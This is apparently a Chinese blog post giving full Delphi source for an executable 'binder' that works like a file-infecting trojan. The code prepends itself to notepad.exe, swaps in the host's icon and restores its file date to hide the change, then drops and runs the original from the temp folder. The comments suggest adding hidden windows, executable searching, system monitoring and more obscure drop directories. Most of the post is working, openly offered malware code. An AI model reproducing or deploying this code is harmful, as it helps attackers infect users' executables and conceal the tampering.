捆绑执行文件新思维

{最新功能:与其它程序捆绑后,图标为其它程序的图标   
这个示范程序没有form,编译、压缩后仅40K,运行后不长驻内存   
如果加上隐藏的窗体,加上搜索可执行程序的功能,加上监视系统的功能,加上 %$#@*^ 功能...   

程序中几个数字的确定:   
1 在本程序编译后用Aspack.Exe压缩,大小为41472   
2 经过分析,本程序在用Aspack.Exe压缩后,图标前面部分长40751,图标数据   
位于从第40752字节开始共640字节,图标后还有81字节   

与其它程序捆绑的过程:   
本程序的前40751字节+被捆绑程序的图标+本程序最后81字节+被捆绑程序全部   

怎么找到图标的位置:   
将程序的图标设定为一个32*32的红色块,在程序经过编译、压缩后,用十六进制   
编辑软件载入,查找“99 99 99”字符串即可。以后你可为程序加上其它合适的图标。   
十六进制编辑软件:常用UltraEdit。   
本人嫌它有日期限制,自编了一个,有十六进制编辑、比较、查找功能,并在不断完善中,对付几百K的文件没问题:   
http://guanbh.top263.net/download/hexedit.exe   
}   
program exe2;   

uses   
classes,   
Tlhelp32,   
windows,   
graphics,   
ShellAPI,   
SysUtils;   

{$R *.RES}   

var   
lppe:TProcessEntry32;   
found:boolean;   
handle:THandle;   
ProcessStr,ExeName:string;   
WinDir:pchar;   
const   
MySize=41472; {!!这个值要根据编译或压缩后的文件大小进行修改!!}   

procedure copy2(s:string);   
var   
s1,s2,IcoStream:TMemoryStream;   
File2:TFilestream;   
ch:array[0..1] of char;   
ss:string;   
filetime,fhandle:integer;   
l:integer;   
File2Icon:Ticon;   
begin   
{若文件s不存在}   
if FileExists(s)=False then exit;   
try   
{若文件不含图标,就不捆绑}   
File2Icon:=Ticon.Create;   
l:=extracticon(handle,pchar(s),0);   
if l=0 then   
begin   
File2Icon.Free;   
exit;   
end   
else   
begin   
{提取被捆绑程序图标}   
File2Icon.Handle:=extracticon(handle,pchar(s),0);   
IcoStream:=TMemoryStream.Create;   
File2Icon.SaveToStream(IcoStream);   
File2Icon.Free;   
end;   
{判断文件s中有没有第2个程序头’MZ’。若有,表示已经合并过}   
File2:=TFilestream.Create(s,fmopenread);   
if File2.Size>MySize then   
begin   
File2.Position:=MySize;   
File2.Read(ch,2);   
ss:=copy(ch,1,2);   
if ss=’MZ’ then   
begin   
File2.Free;   
exit;   
end;   
end;   
File2.Free;   

{将本文件与文件s合并 本文件+s=s}   

s2:=TMemoryStream.Create;   
s2.loadfromfile(ExeName);   
s1:=TMemoryStream.Create;   

{ 加入本程序的前部40751字节   
第40752字节开始共640字节为图标数据   
!!以下数字 40751,81要根据实际情况修改!! }   
s1.copyfrom(s2,40751);   
{将图标换为被捆绑程序图标,图标大小为766}   
IcoStream.Position:=126;   
s1.CopyFrom(IcoStream,640);   
IcoStream.Free;   
s2.Position:=40751+640;   
{加入本程序的后部81字节}   
s1.CopyFrom(s2,81);   
s2.clear;   
s2.loadfromfile(s);   
s1.seek(s1.size,soFromBeginning);   
{加入被捆绑程序全部}   
s1.copyfrom(s2,s2.size);   
s2.free;   
{得到文件s的日期}   
fhandle:=FileOpen(s, fmOpenread);   
filetime:=filegetdate(fhandle);   
fileclose(fhandle);   
s1.SaveToFile(s);   
{恢复文件s的日期}   
fhandle:=FileOpen(s, fmOpenwrite);   
filesetdate(fhandle,filetime);   
fileclose(fhandle);   
s1.free;   
except end;   
end;   

procedure CreateFileAndRun;   
var   
s1,s2:TMemoryStream;   
TempDir:pchar;   
cmdstr:string;   
a:integer;   
Begin   
s1:=TMemoryStream.Create;   
s1.loadfromfile(ExeName);   
if s1.Size=MySize then   
begin   
s1.Free;   
exit;   
end;   
s1.seek(MySize,soFromBeginning);   
s2:=TMemoryStream.Create;   
s2.copyfrom(s1,s1.Size-MySize);   
GetMem(TempDir,255);   
GetTempPath(255,TempDir);   
try   

{ 把文件释放到临时目录。   
如果你不想让人看到在这个目录下释放了一堆文件,可改为其它更隐蔽的目录,   
如 c:/windows(or winnt)/d...(☆这是个什么目录?你去研究研究吧!☆) }   

s2.SaveToFile(TempDir+’/’+ExtractFileName(ExeName));   
except end;   
cmdstr:=’’;   
a:=1;   
while ParamStr(a)<>’’ do begin   
cmdstr:=cmdstr+ParamStr(a)+’ ’;   
inc(a);   
end;   
{运行真正的程序文件}   
winexec(pchar(TempDir+’/’+ExtractFileName(ExeName)+’ ’+cmdstr),SW_SHOW);   
freemem(TempDir);   
s2.free;   
s1.free;   
end;   

begin   
GetMem(WinDir,255);   
GetWindowsDirectory(WinDir,255);   
ExeName:=ParamStr(0);   
handle:=CreateToolhelp32Snapshot(TH32CS_SNAPALL,0);   
found:=Process32First(handle,lppe);   
ProcessStr:=’’;   
while found do   
begin   
ProcessStr:=ProcessStr+lppe.szExeFile;{列出所有进程}   
found:=Process32Next(handle,lppe);   
end;   
{如果notepad没运行,就与它捆在一起}   
if pos(WinDir+’/notepad.exe’,ProcessStr)=0 then   
begin   
copy2(WinDir+’/notepad.exe’);   
end;   
{其它需要捆绑的文件   
if pos(...,ProcessStr)=0 then   
begin   
copy2(...);   
end;   
... }   
freemem(WinDir);   
{ 你想用这个程序干点其它的什么... }   
CreateFileAndRun;{释放文件并带参数运行}   
end.

 

 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值